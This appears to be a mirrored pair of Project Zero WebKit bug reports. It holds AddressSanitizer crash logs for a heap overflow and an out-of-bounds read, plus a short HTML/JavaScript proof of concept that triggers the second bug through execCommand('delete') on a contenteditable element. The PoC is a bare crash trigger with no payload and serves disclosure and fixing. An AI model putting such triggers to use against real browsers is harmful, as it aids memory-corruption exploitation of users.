    #0 0x10c8f5839 in WebCore::SimpleLineLayout::RunResolver::Run::logicalLeft() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba4839)
    #1 0x10c8fd2cb in WebCore::SimpleLineLayout::RunResolver::runForPoint(WebCore::LayoutPoint const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bac2cb)
    #2 0x10c8f533f in WebCore::SimpleLineLayout::textOffsetForPoint(WebCore::LayoutPoint const&, WebCore::RenderText const&, WebCore::SimpleLineLayout::Layout const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba433f)
    #3 0x10c635a06 in WebCore::RenderText::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28e4a06)
    #4 0x10c2f5080 in WebCore::RenderBlockFlow::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25a4080)
    #5 0x10a4e350a in WebCore::Document::caretRangeFromPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79250a)
    #6 0x10a4e3301 in WebCore::Document::caretRangeFromPoint(int, int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x792301)
    #7 0x10b0fb98b in WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13aa98b)
    #8 0x10b0e0c28 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138fc28)
    #9 0x4f28e9401027  (<unknown module>)
    #10 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #11 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #12 0x118258f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #13 0x117ebc847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #14 0x117e3d88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #15 0x117456731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #16 0x1174569a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #17 0x117456d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #18 0x10af8f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #19 0x10b3a26cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #20 0x10a70e010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #21 0x10a70dae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #22 0x10a6d5b97 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984b97)
    #23 0x10a6d6b2f in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985b2f)
    #24 0x10a6d6553 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985553)
    #25 0x10cc0d5f2 in WebCore::SVGSMILElement::dispatchPendingEvent(WebCore::EventSender<WebCore::SVGSMILElement>*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ebc5f2)
    #26 0x10cc0d92a in WebCore::EventSender<WebCore::SVGSMILElement>::dispatchPendingEvents() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ebc92a)
    #27 0x10ccfd242 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fac242)
    #28 0x10bebbe74 in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x216ae74)
    #29 0x7fffd5298c53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #30 0x7fffd52988de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #31 0x7fffd5298439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #32 0x7fffd528fb80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #33 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #34 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #35 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #36 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #37 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #38 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #39 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #40 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #41 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #42 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #43 0x103a5356c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #44 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x606000560c48 is located 8 bytes to the right of 64-byte region [0x606000560c00,0x606000560c40)
allocated by thread T0 here:
    #0 0x103abbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x118927ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x118925d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x1188ac247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x1188ab63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x10c8e7fdc in WebCore::SimpleLineLayout::Layout::create(WTF::Vector<WebCore::SimpleLineLayout::Run, 10ul, WTF::CrashOnOverflow, 16ul> const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b96fdc)
    #7 0x10c8e78ff in WebCore::SimpleLineLayout::create(WebCore::RenderBlockFlow&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b968ff)
    #8 0x10c2d8cb5 in WebCore::RenderBlockFlow::layoutSimpleLines(bool, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2587cb5)
    #9 0x10c2d25f7 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25815f7)
    #10 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #11 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #12 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #13 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #14 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #15 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #16 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #17 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #18 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #19 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #20 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #21 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #22 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #23 0x10c69168d in WebCore::RenderView::layoutContent(WebCore::LayoutState const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294068d)
    #24 0x10c6920b4 in WebCore::RenderView::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29410b4)
    #25 0x10a8d526d in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb8426d)
    #26 0x10a4e1b10 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790b10)
    #27 0x10cd35b2f in WebCore::absolutePointIfNotClipped(WebCore::Document&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fe4b2f)
    #28 0x10cd35809 in WebCore::TreeScope::nodeFromPoint(WebCore::LayoutPoint const&, WebCore::LayoutPoint*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fe4809)
    #29 0x10a4e349b in WebCore::Document::caretRangeFromPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79249b)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba4839) in WebCore::SimpleLineLayout::RunResolver::Run::logicalLeft() const
Shadow bytes around the buggy address:
  0x1c0c000ac130: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac140: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
  0x1c0c000ac150: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00
  0x1c0c000ac160: 00 00 01 fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac170: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
=>0x1c0c000ac180: 00 00 00 00 00 00 00 00 fa[fa]fa fa fd fd fd fd
  0x1c0c000ac190: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac1a0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
  0x1c0c000ac1b0: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd
  0x1c0c000ac1c0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac1d0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30436==ABORTING
*/
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1348

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<style>
* { max-height: 0; -webkit-text-combine: horizontal; -webkit-writing-mode: vertical-rl; }
</style>
<script>
function go() {
  window.getSelection().setPosition(h,1);
  document.execCommand("delete", false);
  document.execCommand("delete", false);
}
</script>
<body onload=go()>
<listing>
<dd contenteditable="true">
<h3 id="h">I>EO~P</h3>

/*
=================================================================

ASan log:

=================================================================
==30388==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000f5de6 at pc 0x00010ff1c575 bp 0x7fff5a427300 sp 0x7fff5a4272f8
READ of size 2 at 0x6030000f5de6 thread T0
==30388==WARNING: invalid path to external symbolizer!
==30388==WARNING: Failed to use and restart external symbolizer!
    #0 0x10ff1c574 in WTF::StringImpl::at(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574)
    #1 0x110edd834 in WebCore::InlineTextBox::isLineBreak() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfec834)
    #2 0x110ee587f in WebCore::InlineTextBox::positionForOffset(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xff487f)
    #3 0x1127d5bda in WebCore::RenderText::localCaretRect(WebCore::InlineBox*, unsigned int, WebCore::LayoutUnit*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28e4bda)
    #4 0x112fd2830 in WebCore::VisiblePosition::localCaretRect(WebCore::RenderObject*&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30e1830)
    #5 0x1107e0e5d in WebCore::localCaretRectInRendererForCaretPainting(WebCore::VisiblePosition const&, WebCore::RenderBlock*&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8efe5d)
    #6 0x110a5912d in WebCore::CaretBase::updateCaretRect(WebCore::Document*, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb6812d)
    #7 0x110a6377b in WebCore::FrameSelection::recomputeCaretRect() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb7277b)
    #8 0x110a5b2f8 in WebCore::FrameSelection::updateAppearance() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb6a2f8)
    #9 0x110a5aee7 in WebCore::FrameSelection::updateAndRevealSelection(WebCore::AXTextStateChangeIntent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb69ee7)
    #10 0x110a67a6f in WebCore::FrameSelection::updateAppearanceAfterLayoutOrStyleChange() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb76a6f)
    #11 0x110a6d63a in WebCore::FrameView::performPostLayoutTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb7c63a)
    #12 0x110a75d4a in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb84d4a)
    #13 0x110681b10 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790b10)
    #14 0x110688542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #15 0x11061562b in WebCore::DeleteSelectionCommand::fixupWhitespace() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x72462b)
    #16 0x1106178f3 in WebCore::DeleteSelectionCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7268f3)
    #17 0x1102a19fa in WebCore::CompositeEditCommand::applyCommandToComposite(WTF::Ref<WebCore::EditCommand>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b09fa)
    #18 0x1102a653a in WebCore::CompositeEditCommand::deleteSelection(WebCore::VisibleSelection const&, bool, bool, bool, bool, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b553a)
    #19 0x112ede1d5 in WebCore::TypingCommand::deleteKeyPressed(WebCore::TextGranularity, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fed1d5)
    #20 0x112eddab3 in WebCore::TypingCommand::deleteKeyPressed(WebCore::Document&, unsigned int, WebCore::TextGranularity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fecab3)
    #21 0x110823470 in WebCore::executeDelete(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x932470)
    #22 0x110821ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #23 0x1106a200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #24 0x111297593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #25 0x11127f068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #26 0x4e397e001027  (<unknown module>)
    #27 0x11c9f8e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #28 0x11c9f8e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #29 0x11c9f1f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #30 0x11c655847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #31 0x11c5d688a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #32 0x11bbef731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #33 0x11bbef9a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #34 0x11bbefd13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #35 0x11112f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #36 0x1115426cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #37 0x1108ae010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #38 0x1108adae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #39 0x11078b051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #40 0x11079ac0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #41 0x11068db0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #42 0x110687bad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #43 0x110a3a3ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #44 0x110a3775c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #45 0x1106a7523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #46 0x110c2b5d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
